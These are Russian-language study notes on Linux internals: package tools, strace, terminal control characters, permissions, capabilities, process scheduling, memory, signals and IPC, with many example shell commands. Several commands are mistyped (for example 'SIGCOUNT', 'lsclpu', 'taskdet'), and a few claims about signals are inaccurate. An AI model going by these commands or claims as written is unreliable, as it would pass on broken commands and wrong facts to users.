Рубрики
Конспект

Внутреннее устройство linux / Конспект

apt

apt install apt-file
apt-file search bin/7z
apt-file update
apt-file show 


strace

strace
witch -a date
dpkg -S /bin/date
dpkg -L coreutils
dpkg -s coreutils


Управляющие символы терминала: 
нотация   ввод     вывод         клавиши      код_символа код_символа
^C        intr       -           Ctrl+C         0x03         EXT
^        quit       -           Ctrl+         0x1c         FS
^        quit       -           Ctrl+4         0x1c         FS
^Z        susp       -           Ctrl+Z         0x1A         SUB
^D        eof        -           Ctrl+D         0x04         EOT
^?        erase      -           Backspace      0x7F         DEL
^?        erase      -           Ctrl+?         0x7F         DEL
^?        erase      -           Ctrl+8         0x7F         DEL
^H          -      backspace     Ctrl+H         0x08         Del
b          -      backspace     Ctrl+H         0x08         Del
^W        werase     -           Ctrl+W         0x17         ETB
^U        kill       -           Ctrl+U         0x15         NAK
^l          -      tab           TAB            0x09         HT
t          -      tab           Ctrl+I         0x09         HT
^M        eol      cr            Enter          0x0D         CR     
r        eol      cr            Ctrl+M         0x0D         CR
^j        eol      nl            Ctrl+j         0x0A         LF 
n        eol      nl            Ctrl+j         0x0A         LF 
^S        stop       -           Ctrl+S         0x13         DC3
^Q        start      -           Ctrl+Q         0x11         DC1
^R        rprnt      -           Ctrl+R         0x12         DC2
^V        lnext      -           Ctrl+V         0x16         SYN
^N          -      so            Ctrl+N         0x0E         SO
^O          -      si            Ctrl+O         0x0f         SI
^[        esc     esc            ESC            0x1B         ESC
e        esc     esc            ESC            0x1B         ESC
^[        esc     esc            Ctrl+[         0x1B         ESC
e        esc     esc            Ctrl+3         0x1B         ESC


!!! Обратите внимание на код символа / клавиши / ввод / вывод / натацию  !!!
!!! Многие действия можно сделать разными наборам нотация и клавиш !!!

Показать доступные символы для терминала:
stty -a 


whoami
strace -fe uname,getcwd,geteuid,sethostname whoami

hostname
strace -fe uname,getcwd,geteuid,sethostname hostname

pwd 
strace -fe uname,getcwd,geteuid,sethostname pwd

err
strace -fe uname,getcwd,geteuid,sethostname hostname springfield

date
ltrace -x *time*+fwrite date




Стандарты

Организация IEEE
IEEE 1003.1 POSIX.1 - интерфейс API операционной системы
IEEE 1003.2 POSIX.2 - интерфейс командной строки ОС (CLI)

Posix (Portable Operating System Interface)
SUS (Single UNIX Specification)

Телетайпы

ascii(7)
charset(7)
7 - семибитная кодировка

Управляющие символы:
CR - (carriage return) - Возврат головки к началу строки
BS - (back space) - Перемещение головки справа на лево
LF - (line feed) - Прокрутка бумаги  Начало новой строки
LN - (line new) - На новую строку
HT - (Horizantal tab) - На несколько символов вправо
SO - (shift out) - Изменят шрифт на мелкий
SI - (Shift in) - Изменяет шрифт на большой

Виртуальные терминалы:

Когда-то терминалы подключались с помощью RS232 и драйвера ttyS(), сейчас это экзотика.
Узнать к какому терминалу подключены вы используйте команду tty
tty
who
users
w

Переключение между терминалами на лакальном ПК
ALT + F1
ALT + F12
CTRL + ALT + F1

stty

tee

Команда tee используется для того, чтобы одновременно вывести данные на экран и записать их в файл. 
Это особенно полезно для сохранения вывода команды в файл без потери возможности видеть вывод в реальном времени.

Запись вывода команды в файл и отображение в терминале
echo "Hello, World!" | tee output.txt


Добавление данных в файл (с флагом -a)
echo "New line" | tee -a output.txt


Запись вывода команды в несколько файлов
echo "Multi-output" | tee file1.txt file2.txt

Использование tee с пайплайнами
ls -l | tee filelist.txt | grep ".txt"
echo -e "onentwonthree" | tee output.txt | wc -l

Использование с перенаправлением стандартного потока ошибок
ls /nonexistent /tmp |& tee output.txt
/pre> 




Управляющие последовательности: 
Посмотреть все:
infocmp

Задать:
tput smul
tput rev
tput srg0
tput smul | od -ac

Видосики в консоле ASCIIANSI:


ASCII-графика  ANSI-графигка
библиотеки caca и aalib
tty
setfont Uni1Vga8
mpv --quiet -vo caca https://www.yotube.com/что_топосмотреть
mplayer -quiet -vo aa:dim:bold:reverse $(youtube-dl -g https://www.yotube.com/что_топосмотреть)

Определить откуда запускается программа

whereis date
which date
type date

type -a date
type -a ls

Трассировка выполнения команд в bash

Для влечения достаточно выполнить:
set -x 

Для отключения: 
set +x 

Собственно чем отличается "-" "--"

- опция

-- специальная опция сигнализирует о конце списка опций, за которыми следуют лексемы, 
   расцениваемые как аргументы вне зависимости от их написания
   позволяют навести некий порядок

Справочные системы / MAN

whatis intro
whatis whatis
whatis apropos
whatis man

man -w man 


man -w passwd
   /usr/share/man/man1/asn1parse.1ssl.gz
   /usr/share/man/man1/passwd.1.gz
   /usr/share/man/man5/passwd.5.gz
man 5 passwd
man 1 passwd
man asn1parse 



Клавиши в man:
q - выход
h - справка
стрелки - переходы 
/ - поиск по регулярному выражению вперед
? - поиск назад
n - поиск вперед
N - повторить поиск в обратном направлении
G - в конец страницы
g - в начало страницы



help
help -d date
help -d cd 
help -d ls
help -d unset

Пользователи и группы:

UID - User Identifier
GID - Group Identifier

Узнать свой UID  GID
id

Передача полномочий:
su - switch user - переключится на пользователя
sudo - switch user do - контролируемая передача полномочий

su  - реализует повторную регистрацию в системе
sudo - реализует явные правила передачи полномочий описанных в файле "/etc/sudoers" и подтвердить передачу полномочий с помощью пароля пользователя

Пароли и пользователи группы в файле:
/etc/passwd
/etc/shadow
/etc/group
/etc/gshadow

Переменные окружения:

Посмотреть можно так:
env
printenv

Вывод env:
SHELL=/bin/bash     - текущий шел
HOME=/home/username - домашний каталог
LANGUAGE=           - язык 
LANG=en_US.UTF-8    - язык
PWD=/home/username/1 - текущий каталог
LOGNAME=username     - пользователь
USER=username        - пользователь
PATH=/usr/local/sbin:/usr/local/bin:/usr/bin - где искать программы
LC_* - наборы переменных определяют другие языковые особенности
LC_TIME - определяет формат вывода даты
PAGER - указывает на программу для постраничного листания например на less / more
EDITOR - имя текущего редактора vim / nano
VISUAL - имя текущего редактора vim / nano
BROWSER - имя html просмоторщика
TERM - устанавливает имя терминала по которому программа использует управляющие символы ESC 

locale - список доступных локалей
locale -a 


Пример:
export LC_TIME=ru_RU.utf8
date 
export LC_TIME=en_US.utf8
date

Переменная PS1  (.bashrc)
Хранит настройки приглашения shell
alias ls='ls --color=auto'
PS1='[u@h W]$ '
u - имя зарегистрированного пользователя в системе 
h - короткое собственное имя компьютера
w - имя текущего каталога
$ - символ приглашения  ($ обычный  # root)
t - время
e - символ управления ESC
и т.д. см "man 5 terminfo"


printenv 
printenv TERM

infocmp


Файлы и каталоги:
.profile
.bashrc
.config
.ssh
.nanorc

Файлы и каталоги:

ls -l /bin/ls /dev/sda /dev/tty /sbin/halt
-rwxr-xr-x 1 root root 137920 Aug 30 14:57 /bin/ls
brw-rw---- 1 root disk   8, 0 Sep 19 11:53 /dev/sda
crw-rw-rw- 1 root tty    5, 0 Sep 25 11:28 /dev/tty
lrwxrwxrwx 1 root root      9 Sep 10 18:06 /sbin/halt -> systemctl

ls -la /run/systemd/notify 
srwxrwxrwx 1 root root 0 Sep  4 11:39 /run/systemd/notify
ls -la /run/systemd/inaccessible/fifo 
p--------- 1 root root 0 Sep  4 11:39 /run/systemd/inaccessible/fifo

- обычный файл
b - блочное устройство (block)
c - символьное устройство (character)
p - именованный канал (pipe)
s - сокет(socket)
l - символьная ссылка (link)

Вот так их можно найти файлы сокетов и именованных каналов 
find / -type p
find / -type

file  file_name - программа может показать что перед вами за файл, так как файл может быть текстовым или бинарным
stat file_name - подробная статистика о файле


Специальные файловые устройства:
/dev/sd* /dev/input/mouse* /dev/video* /dev/snd/pcm* /dev/dri/card*
crw-rw----+ 1 root video 226,  1 Sep 19 11:53  /dev/dri/card1
crw-rw----  1 root input  13, 32 Sep 19 11:53  /dev/input/mouse0
brw-rw----  1 root disk    8,  0 Sep 19 11:53  /dev/sda
brw-rw----  1 root disk    8,  1 Sep 19 11:53  /dev/sda1
brw-rw----  1 root disk    8,  2 Sep 19 11:53  /dev/sda2
brw-rw----  1 root disk    8,  3 Sep 19 11:53  /dev/sda3
brw-rw----  1 root disk    8, 16 Sep 19 11:53  /dev/sdb
brw-rw----  1 root disk    8, 17 Sep 19 11:53  /dev/sdb1
brw-rw----  1 root disk    8, 32 Sep 19 11:53  /dev/sdc
brw-rw----  1 root disk    8, 33 Sep 19 11:53  /dev/sdc1
brw-rw----  1 root disk    8, 48 Sep 23 15:34  /dev/sdd
brw-rw----  1 root disk    8, 64 Sep 23 15:56  /dev/sde
crw-rw----+ 1 root audio 116,  3 Sep 19 16:59  /dev/snd/pcmC0D0c
crw-rw----+ 1 root audio 116,  2 Sep 24 18:10  /dev/snd/pcmC0D0p
crw-rw----+ 1 root audio 116,  4 Sep 19 11:53  /dev/snd/pcmC0D2c
crw-rw----+ 1 root audio 116,  7 Sep 25 12:56  /dev/snd/pcmC1D3p
crw-rw----+ 1 root audio 116,  8 Sep 25 12:56  /dev/snd/pcmC1D7p
crw-rw----+ 1 root audio 116,  9 Sep 25 12:56  /dev/snd/pcmC1D8p
Устройства бывают  символьные c и блочные b


Рассмотрим строки:
brw-rw----  1 root disk    8,  0 Sep 19 11:53  /dev/sda
brw-rw----  1 root disk    8,  1 Sep 19 11:53  /dev/sda1
brw-rw----  1 root disk    8,  2 Sep 19 11:53  /dev/sda2
brw-rw----  1 root disk    8,  3 Sep 19 11:53  /dev/sda3
brw-rw----  1 root disk    8, 16 Sep 19 11:53  /dev/sdb
brw-rw----  1 root disk    8, 17 Sep 19 11:53  /dev/sdb1
brw-rw----  1 root disk    8, 32 Sep 19 11:53  /dev/sdc
brw-rw----  1 root disk    8, 33 Sep 19 11:53  /dev/sdc1
brw-rw----  1 root disk    8, 48 Sep 23 15:34  /dev/sdd
brw-rw----  1 root disk    8, 64 Sep 23 15:56  /dev/sde
Все драйверы ядра пронумерованы главными (major) числами (цифра 8), а под их  управлением дополнительные(minor) числа (0,1,2,3,16,17,32,33,48,64)

Еще в linux есть специальные устройства:
/dev/null - всегда пустое
/dev/full - всегда полное
/dev/zero - всегда бесконечно нулевое
/dev/random  - генератор псевдо случайных чисел
/dev/urandom - генератор псевдо случайных чисел

Именованные каналы и файловые сокеты:

IPC (InterProcess Communication)
Служат для обмена процессов и программ между собой.
Таким устройством могли бы стать и обычные файлы, но файлы служат для сохранения информации.

pipe они де FIFO-файлы(first in first out) / named pipe
socket

Основное отличие именованного канала от сокета состоит в особенности передачи данных.
Через именованный канал организуется однонаправленная (симплексная) передача без мультиплексирования,
а через сокет - двунаправленная (дуплексная) мультиплексированная передача. 

Именованный канал обычно работает по схеме "поставщик - потребитель" (producer-consumer)
Один потребитель принимает информацию от одного поставщика (на самом деле от многих но в разное время)
telinit
init
halt
reboot
shutdown
poweoff
/dev/initctl
/run/initctl

Сокет, схема работы "клиент - сервер" (client-server)
Один сервер принимает и отправляет информацию от многих ко многим (одновременно) клиентам.
cron
cupsd
logger
/dev/log
/run/systemd/journal/dev-log
systemd-journald

Файловые дескрипторы:

Системные вызовы:
open - открытие файла
read - чтение файла 
write - запись файла
close - закрытие файла 
ioctl - используется для управления драйвером устройств ioctl(input output control), применяется в основном для специальных файлов устройств


При запросе на открытие файла системным вызовом open производится его однократный  поиск (относительно медленный поиск) имени файла в дереве каталогов 
и для запросившего процесса создается так называемый файловый дескриптор(descriptor).
Файловый дескриптор содержит информацию, описывающую файл, например: индексный дескриптор inode файла  на файловой системе,
номера major и minor устройства, на котором располагается файловая система файла, режим открытия файла и прочую служебную информацию.
При последующих операция read и write доступ к самим данным файла происходит с использованием файлового дескриптора(что исключает медленный поиск файла).
Файловые дескрипторы пронумерованы и содержатся в таблице открытых процессом файлов, которую можно получить при помощи диагностической программы lsof.
Получить список процессов, открывающих файл, можно при помощи lsof и fuser
lsof
fuser

lsof -p $$

ls -la /dev/log
sudo lsof /run/systemd/journal/dev-log
sudo fuser  /run/systemd/journal/dev-log 
ps p 317

sudo lsof /var/log/syslog
ps up 354


Пример с локалью:
strace -fe open,openat,close,read,write,ioctl date 
file /etc/localtime
file /usr/share/zoneinfo/Europe/Moscow


Пример с сидюком, где только его взять в 2024году....
ls -la /dev/cdrom
strace -fe open,openat,close,read,write,ioctl eject

Пример с клавишей на клаве и ее светодиодом:
strace -fe open,openat,read,write,close,ioctl setleds -L +num +scroll

Файловые системы и процедура монтирования:

mount
mount /dev/cdrom  ~/mnt/cdrom
mount -t iso9660
lsblk -f /dev/cdrom


Сетевые файловые системы:

Файловый сетевой сервер NAS
Network Attached Storage

Протоколы:
NFS(Network File System)
CIFS/SMB (Common Internet file System и Server Message Block


mount -t nfs 10.1.1.1:/share/video /mnt/nas/video
mount -t -cifs -o username=guest //10.1.1.1/share/photos /mnt/nas/photos



Специальные файловые системы:

proc - информация о процессах, нитях и прочих сущностях ядра операционной системы 
и используемых ими ресурсах предоставляет программам в виде файлов псевдо файловая система proc

sysfs - информация об аппаратных устройствах, обнаруженных ядром операционной системы на шинах PCI, USB, SCSI и прочих,
предоставляет псевдо файловая система sysfs.

Пример программ которые используют псевдо файловые системы proc и sysfs:
uptime
ps
lsmod
lspci
lsusb
lsscsi

Проверка:
strace -fe open,openat uptime

cat /proc/uptime
cat /proc/loadavg


strace -fe open,openat lspci -nn

cat /sys/bus/pci/devices/0000:00:14.0/config
cat /sys/bus/pci/devices/0000:00:14.0/vendor
cat /sys/bus/pci/devices/0000:00:14.0/device
cat /sys/bus/pci/devices/0000:00:14.0/class
cat /sys/bus/pci/devices/0000:00:14.0/revision

Внеядерные файловые системы:

FUSE (Filesystem in userspace)

Это:
archivemount
sshfs
encfs
curlftpfs
fusermount

Прова доступа:

stat filename
id
chown
chgrp
usermod

базовые права:
read - 4 
write - 2
execute - 1 (execve)

Пример как это работает:
stat 1
    Access: (0644/-rw-r--r--)

chmod 421 1
stat 1
    Access: (0421/-r---w---x)

chmod 777 1
stat 1
    Access: (0777/-rwxrwxrwx) 


Семантика режима доступа для разных типов файлов:
файлы = r - читать файл 
        w - изменять файл 
        x - исполнять файл

каталоги = w - это значит что из каталога можно стирать файлы из списка
           r - право просмотра списка файлов имен файлов
           x - право прохода в каталог


chmod ugo + rwx filename
chmod ugo - rwx filename
user
group owner

chmod a= filename защитить файл от записи



Дополнительные атрибуты файлов:
s - Set user/group ID (SUID Set User ID или Set Group ID) -  атрибут не явного делегирования полномочий

Типичной задачей, требующей неявного делегирования полномочий, является проблема невозможности изменения пользователями своих учетных записей,
которые хранятся вдух файлах таблицах - passwd и shadow, доступных на чтение и запись только пользователем root,
однако пользователь может воспользоваться программой passwd для изменения своей учетной записи. 
passwd
chfn
chsh
ping 
traceroute
at
crontab



t - sTicky - липучка, атрибут ограниченного удаления
Служит для базового ограничения  записи(w) в каталоге, но только своих файлов. 
Например каталог tmp


Кому то этого было не достаточно и были придуманы еще ACL для файлов. POSIX.1e
ACL - access control lists
getfacl
setfacl
lsattr
chattr
a - append only (только добавление в файл)
i - immutalbe (не прикосаемый файл)
s - secure deletion
S - synchronous update

Прова по умолчанию
umask


Мандатные права пользователя:
DAC - (discretionary access control)


Модуль принудительного разграничения доступа AppArmor:
apparmor-utils
aa-status 


Модуль принудительного разграничения доступа SELinux
SElinux (Security Enhanced Linux)
sestatus

Что ты такое модуль управления принудительного разграничения доступа Astra Linux
PARSEC - обеспечение безопасности информационных потоков
pdp-id
pdp-ls -M

Программы и библиотеки

Программа представляет собой алгоритм, записанный на определенном языке, понятном исполнителю программы.
Различают машинный язык. понятный центральному процессору, и языки более высоких уровней (алгоритмические), понятные
составителю программы - программисту.

Алгоритмы - некий набор инструкций, выполнение которых приводит к решению конкретной задачи.

Согласно hier, откомпилированные до машинного языка программы размещаются в каталогах:
/bin
/sbin
/usr/bin
/usr/sbin
/usr/local/bin
/usr/local/sbin

А библиотеки в каталогах
/lib
/usr/lib
/usr/local/lib

Программы имеют специальный запускаемый формат ELF executalbe


ldd (Loader dependencies)
(SONAME. shared object name)
file /usr/bin/ls
ldd /usr/bin/ls

Стоит заметить:
Файла библиотеки linux-vdso.so.1 (реализующий интерфейс системных вызовов к ядру) не существует, 
так как он является виртуальной(VDSO, virtual dynamic shared object)

Для большинства библиотек зависимости устанавливаются с помощью SONAME вида libNAME.so.X
lib - стандартный префикс(library, библиотека)
.so - суффикс(shared object, разделяемый объект)
NAME - имя собственное
.X - номер версии ее интерфейса 

ld.so
ldconfig

Библиотеки имеют специальный запускаемый формат ELF shared object

Не стоит забывать что самой главной программой является Ядро linux
uname -r 
file /boot/vmlinuz



Модули ядра:
insmod
modprobe
rmmod
modinfo
lsmod
init_module 
delete_module
/proc/modules
lspci -k
lsusb -t

Процессы и нити:

fork - системный вызов порождение нового процесса
COPY - создает копию родительского процесса
exit - уничтожение процесса и завершение процесса
SIGCHILD - сообщение родительскому(parent процессу о завершении дочернего (child)
status - статус завершения от дочернего процесса
wait - родительский процесс ждет завершения дочернего
zombie - состояние дочернего процесса если он вдруг стал сиротой
clone - универсальный вызов позволяющий при порождении процесса, задать и указать общие ресурсы процессов, указать частные ресурсы и т.д.

Примеры:
dd if=/dev/cdrom of=plan9.iso &
ps f

find /usr/share/doc -type f -name '*.html' | xargs -n1 wx -l | sort -k 1 -nr | head 1 &
ps  fj
wait 

ps f -C postgres

ssh server
ps -f -C sshd

ps f -C apache2

ps fo pid,nlwp,cmd -C apache2

ps -fLc rsyslog

ps -fLC systemd



ls -lh plan9.iso
time bzip plan9.iso &
ps f
ps -fLp 5546
fg

ls -lh plan9.iso.bz2
time pbzip2 -d plan9.iso.bz2
time pbzip2 plan9.iso &
ps f 
ps -fLp 5572
fg 



tar czf docs.tgz /usr/share/doc &
ps f
fg 

strace -fe clone,clone3,fork,vfork,execve tar czf docs.tgz /usr/share/doc


pbzip2 plan9.iso &
strace -q -fe clone,clone3,fork,vfork,execve pbzip2 plan9.iso



Дерево процессов:

Процессы операционной системы принято классифицировать на системные (ядерные), демоны и прикладные, исходя из их назначения и свойств.

Прикладные процессы выполняют обычные пользовательские программы(man, ping, etc), для чего  им выделяется индивидуальная память, 
объём которой указан в столбце VSZ вывода команды ps. Такие процессы обычно интерактивно взаимодействуют с пользователем
посредством управляющего терминала(исключение графические программы), указанного в столбце TTY вывода программы ps.


Демоны, процессы класса демоны(daemons) выполняются системные программы, реализующие те или иные службы операционной системы.
Например: cron, sshd, rsyslogd, systemd-udevd. У них отсутствует управляющий терминал в столбце TTY  вывода программы ps.
Зачастую демоны имеют суффикс d в конце названия.


Ядерные процессы, процессы ядра, выполняются параллельные  части ядра операционной системы. 
У них нету индивидуальной виртуальной памяти VSZ, ни управляющего терминала TTY в выводе программы ps.
Более того ядерные процессы не выполняют отдельную программу, загружаемую из ELF файла,
поэтому их имена COMMAND являются условными и изображаются в квадратных скобках,
и имеют особое состояние I в столбе STAT вывода программы ps.
Ядерные нити выполняются в общей памяти ОС.

ps faxu
ps -uaxf
pstree -cnAhT


Маркеры доступа:

Возможность процесса по отношению к объектам, доступ к которым разграничивается при помощи дискреционных механизмов, 
определяются значение его атрибутов, формирующих  его DAC-маркер доступа.
Атрибуты: RUID, RGID, EUID, EGID.
man 7 credentials
man -k credentials

id

ps fo euid,ruid,egid,rgid,user,group,tty,cmd

who

ls -la /etc/shadow /dev/tty2 /dev/tty3 /dev/pts/ptmx

ls -la /usr/bin/passwd /usr/bin/wall
ls -ln /usr/bin/passwd /usr/bin/wall

ps ft pts/1,pts/2 o pid,ruid,rgid,euid,egid,tty,cmd



Для selinux
id -Z
ps Zf
sesearch -T -t dhcpc_exec_t -c process
ls -Z /usr/sbin/dhclient
ps -ZC dhclient



cababilities
CAP_SYS_PTRACE  - эта привилегия позволяет процессам трассировщикам strace и ltrace, использующих системный вызов ptrace, трассировать программы
CAP_SYS_NICE - привилегия позволяющая менять приоритет процесса (nice)
CAP_KILL - привилегия позволяет посылать сигналы процессам
CAP_FOWNER - привилегия позволяет процессам изменить режим доступа, мандатную ветку, флаги, атрибуты
CAP_LINUX_IMMUTABLE  - управления флагами i (immutable) и a(append)
CAP_SETFCAP - устанавливать флаговые привилегии
CAP_NET_RAW - создание необработанных (raw) и пакетных (packet) сокетов

ps fo user,pid,cmd -C NetworkManager,postgres,apache2,systemd
getpcaps 1221

getcap /bin/ping
setcap cap_net_raw+ep /bin/ping


Пример как дать права для шарка:
tshark
strace -fe execve tshark 
getcap /usr/bin/dumpcap
setcap cap_net_raw+ep /usr/bin/dumpcap
tshark -i eth0


Другие атребуты:
ps fe
ps fx
pwdx ID
pwdx 1235

Распределение процессора между процессами:

Переключением центрального процесса между задачами (процессами и нитями) 
выполняет специальная компонента подсистемы управления процессами
называемая планировщиком (scheduler)

Именно планировщик определенным образом выбирает из множества неспящих, готовых к выполнению(runable) задач одну,
которую переводит в состояние выполнения (running).
Выбор задачи происходит естественным образом, когда текущая выполнявшиеся задача переходит в состояние сна(sleep)
Ещё существуют вытесняющие алгоритмы планирования, которые ограничивают непрерывное выполнения задач,
принудительно прерывают ее выполнение по исчерпании выданного ей кванта времени(timeslice) и 
вытесняется она во множество готовых, после чего производит выбор новой задачи, подлежащей выполнению.

Для пользователей применяется алгоритм  CFS(completely fair scheduler)
Согласно которому процессорное время  распределяется между  неспящими задачами справедливым (fair) образом.

Для двух задач с равным приоритетом должно быть выделено 50%.

приоритеты называется любезностью:) NICE
-20 ... +19
-20 сделать немедленно, сейчас же (выдается больше всего процессорного времени)
+19 делать неспеша

При отсутствии конкуренции за процессорное время, приоритет не будет играть никакой роли.

Инфа о cpu:
nproc
lsclpu

Пример управления приоритетом:
bzip2 --best -kf plan9.iso &
bzip2 --best -kf plan9.iso &
ps fo pid,pcpu,pri,ni,psr,cmd

renice +10 ID_process
renice +10 1234

ps fo pid,pcpu,pri,ni,psr,cmd


taskdet -p 3 1222

nice -n 5 time  bzip2 --best -kf plan9.iso &
nice -n 15 time  bzip2 --best -kf plan9.iso &
ps fo pid,pcpu,pri,ni,psr,cmd
wait

Другие планировщики:
FIFO (First in First out)- выполняет задачи пока не завершит
RR (Round Robin) - выполняет задачи по очереди  чуть одна чуть другая  PQ (Priority Queue)
EDF ( Earliest Deadline First) - Алгоритм гарантирует выполнение задачи и не позволяет ее вытеснить пока она выполняется.

Политики планирования:
SCHED_OTHER, SCHED_BATHC, SCHED_IDLE - CFS
SCHED_FIFO, SCHED_RR - FIFO, RR
SCHED_DEADLINE - EDF

taskset - позволяет привязать процесс к одному потоку процессора
chrt - смена алгоритма шедулера

Пример смены планировщика:
ps -f 
chrt -b 0 time bzip2 --best -kf plan9.iso & 
chrt -o 0 time bzip2 --best -kf plan9.iso & 
chrt -i 0 time bzip2 --best -kf plan9.iso & 
ps fo pid,pcpu,class,pri,ni,psr,cmd

ps -f 
chrt -pr 99 ID_PROCESS
ps fo pid,psr,cls,ni.pri,pcpu,comm

chrt -r 1 taskset -c 2 bzip2 --best -kf plan9.iso & 
chrt -r 1 taskset -c 2 bzip2 --best -kf plan9.iso & 
ps fo pid,psr,cls,ni,ori,pcpu,comm

chrt -r 2 taskset -c 2 bzip2 --best -kf plan9.iso & 
ps fo pid,psr,cls,ni.pri,pcpu,comm

top -b -n1 -p ID,ID,ID
top -b -n1 -p 123,321,555



Ввод и вывод

Планировщики ввода и вывода
SCAN, C-SCAN, LOOK, C-LOOK....
I/O scheduler

Сортировка(sorting)
Слияние(mergiring)

Планировщик deadline один из первых для работами с операциями ввода и вывода.
mq-dedline
CFQ
BFQ
kyber -  современный

Посмотреть какой у вас планировщик для дисков:
cat /sys/block/{sda,sdb,sr0}/queue/scheduler
cat /sys/block/sda/queue/scheduler


Пример:
findmnt -T 
cat /sys/block/sda/queue/scheduler
dd if=/dev/urandom of=big1 bs=16384 count=1024
dd if=/dev/urandom of=big2 bs=16384 count=1024
sync
dd if=big1 of=/dev/null iflag=direct &
dd if=big2 of=/dev/null iflag=direct &
wait

ionice -c best-effort -n 7 dd if=big1 of=/dev/null iflag=direct &
ionice -c best-effort -n 0 dd if=big1 of=/dev/null iflag=direct &
wait -n 
wait -n 

Память:

Управление памятью - механизм страничного отображения - MMU
MMU - (Memory Management Unit, Блок управления памятью) 
Процессы работают с виртуальными адресами воображаемой памяти (virtual address),
отображаемым устройством MMU на физические адреса (physical address) настоящей оперативной памяти.
Для отображения оперативной памяти RAM(random access memory) условно разбивается на гранулы по 4Кбайт,
которые выделяются процессам.

Память процесса состоит из:
страниц (page)
специальных таблиц (page table)
сопоставленные выделенные страничные кадры (page frame)

ps fux
вывод в килобайтах
VSZ (virtual size) - суммарный объём всех страниц процесса (в том числе и выгруженных) 
RSS (resident set size) - суммарный объём всех его страничных кадров в оперативной памяти, т.е. реальное потребление


системные вызовы mmap/munmap, mlock, mprotect, msync, madvise


COW - cppy-on-write - любые попытки изменения (write) приводят к созданию их копии(copy), куда попадают изминения

ps fux
pmap -d PID
pmap -d 775
pmap - покажет память процесса

ldd /usr/bin/hostname
strace hostname


top 
для добавления столбика с SWAP нажмите "g 3" а после "f"

top -p $$


free -mw - статистика использования памяти


Пример:
dd if=/dev/urandom of=big bs=4069 count 262144
ld -lh big
free -mw
vi big
pd -f 
free  -mw
top -b -n1 -p enter_PID_vi
kill enter_PID_vi
free -mw


Механизмы сигналов

man signal
man -k signal
man kill

kill - команда отсылки сигналов

Ctrl + C - вызывает kill для выполняемой команды в консоли (SIGINT)

stty -a - покажет сигнал ^C и другие возможные сигналы в текущей консоли

Пример
dd if=/dev/zero of=/dev/null
Ctrl+c
^C

А если мы запустим это в фоне
dd if=/dev/zero of=/dev/null &
jobs
jobs -l
kill -SIGINT enter_PID_jobs
Но такой сигнал убьет процесс без сохранения данных на диск

А если хочется сохранить данные SIGQUIT №3
dd if=/dev/zero of=/dev/null &
jobs -l
kill -SIGQUIT  enter_PID_jobs
^Quit 

Для некоторых процессов и демонов не возможно послать сигнал ^C и ^ но возможно послать SIGTERM №15
dd if=/dev/zero of=/dev/null &
kill -SIGTERM enter_PID_jobs


Есть специальные сигналы для приостановки(№19 SIGSTOP) работы и возобновления(SIGCOUNT №18):
bzip2 big &
top -b -n1 -p enter_PID_bzip2
kill -SIGSTOP enter_PID_bzip2
ps -f 
jobs -l
top -b -n1 -p enter_PID_bzip2
kill -SIGCOUNT enter_PID_bzip2
top -b -n1 -p enter_PID_bzip2


Самый наверно страшный сигнал №9 SIGKILL
Не желательно его использовать бездумно
Чаще всего приводит к созданию зомби
безусловное завершение процесса


Есть еще сигнал безусловной приостановке №19 SIGSTOP


kill -l покажит все возможные сигналы


dc - стековый калькулятор поможет преобразовывать из dec в hex и двоичный
dc -e 26i3o00484004p


Также процесс можно приостановить клавишами Ctrl+s 
Возобновить Ctrl+q

bg  - такой командой продолжить выполнение в фоне
fg - вытащить команду из фона 

Межпроцессорное взаимодействие

IPC (iter-process communication)- средства межпроцессорного взаимодействия
Применяются каналы, сокеты, очереди сообщений и разделяемая память
Синхронизация действий процессов над совместно используемыми объектами - семафоры. 

Неименованные каналы
Самый простой обмен между информацией между родственными процессами (родитель и любой потомок)
Два дескриптора: 
первый передача (записи) в канал
второй   прием (чтения) из канала
Пример:
strace -fe pipe,execve tar cjf /tmp/docs.tgz /usr/share/doc
^Z  (Ctrl+z)

ps -f 
lsof -p enter_PID_tar


Именованные каналы
Именованные каналы повторяют поведение неименованных каналов, 
но предназначены для обмена информацией между неродственными процессами.
Именованные каналы используются крайне редко.
Пример:
ls -l /run/initctl /dev/initctl
lsof /run/initctl


Неименованные локальные сокеты
Именованные каналы = поставщик-> потребитель (односторонний обмен)
Сокет = клиент <-> сервер (двух сторонний обмен)
Сокет - устоявшиеся русская калька с англ. socket, буквально означающая "разъём", например,
220-вольтовые розетку и вилку, или сетевую розетку и вилку RJ-45, или 3.5гнездо для наушников и соответствующий штекер.
Пример:
strace -fe socketpair, execve rsync -a /usr/share/doc /tmp/a
ps f
lsof -p enter_PID_rsync 


Именованные локальные сокеты
Наличие имени канала и сокета
Многие системные сервисы linux  как раз используют именованные локальные сокеты.
Пример: systemd, x-windows-system, wayland, d-bus, wi-fi
Терминальные мультиплексоры screen и tmux
tty
screen
tty
Ctrl+A C

tty
ps fp  enter_PID_screen t pts/1,pts/2
screen ls 
screen -r


Разделяемая память, семафоры и очереди сообщений
ipcs
ipcs -m -p
dc -e enter_ipcs_string
ps up PID
pmap PID

fuser -v /var/cache/nscd/hosts
pmap PID

findmnt /dev/shm
fuser -v /dev/shm/*
ps p PID,PID,PID
pmsp -p PID



Семафоры и очереди сообщений
ipcs -q
ipcs -s 
findmnt /dev/mqueue
ls -l /dev/mqueue
ls -l /dev/shm/sem.*

Программирование:

Интерпретаторы и их сценарии:
ash, dash, ksh, bash, zsh, fish

Языки:
perl, python, tcl

Универсальный комментарий в начале скрипта именованный shebang.
#!/bin/bash
#!/usr/bin/perl
#!/usr/bin/python


Примеры:
file /bin/fgrep
head -1 /bin/fgrep
file /bin/gunzip
head -1 /bin/gunzip
file /bin/lsb_release
head -1 /bin/lsb_release
file /usr/bin/mimetype
head -1 /usr/bin/mimetype
file /usr/bin/netwag
head -1  /usr/bin/netwag

printenv PATH
pwd



Встроенные и внешние команды 
which -a cd 
type -a cd 
which -a pwd
type -a pwd

Перенаправление потоков ввода-вывода

0 - Стандартный ввод (stdin) — поток данных, который программа получает на вход (по умолчанию — клавиатура).
1 - Стандартный вывод (stdout) — поток, в который программа записывает результаты (по умолчанию — терминал).
2 - Стандартный поток ошибок (stderr) — поток, куда выводятся сообщения об ошибках (по умолчанию — терминал).

Перенаправление stdout:
Оператор > позволяет записать вывод команды в файл. Если файл существует, он будет перезаписан.
ls > output.txt

Оператор >> добавляет вывод в конец файла, не перезаписывая его.
echo "Hello" >> output.txt

Чтобы перенаправить поток ошибок в файл, используется 2>.
ls /nonexistent 2> errors.txt

2>> добавляет ошибки в конец файла:
ls /nonexistent 2>> errors.txt


Перенаправление stdout и stderr вместе
Можно объединить выводы стандартного вывода и ошибок в один файл с помощью &>.
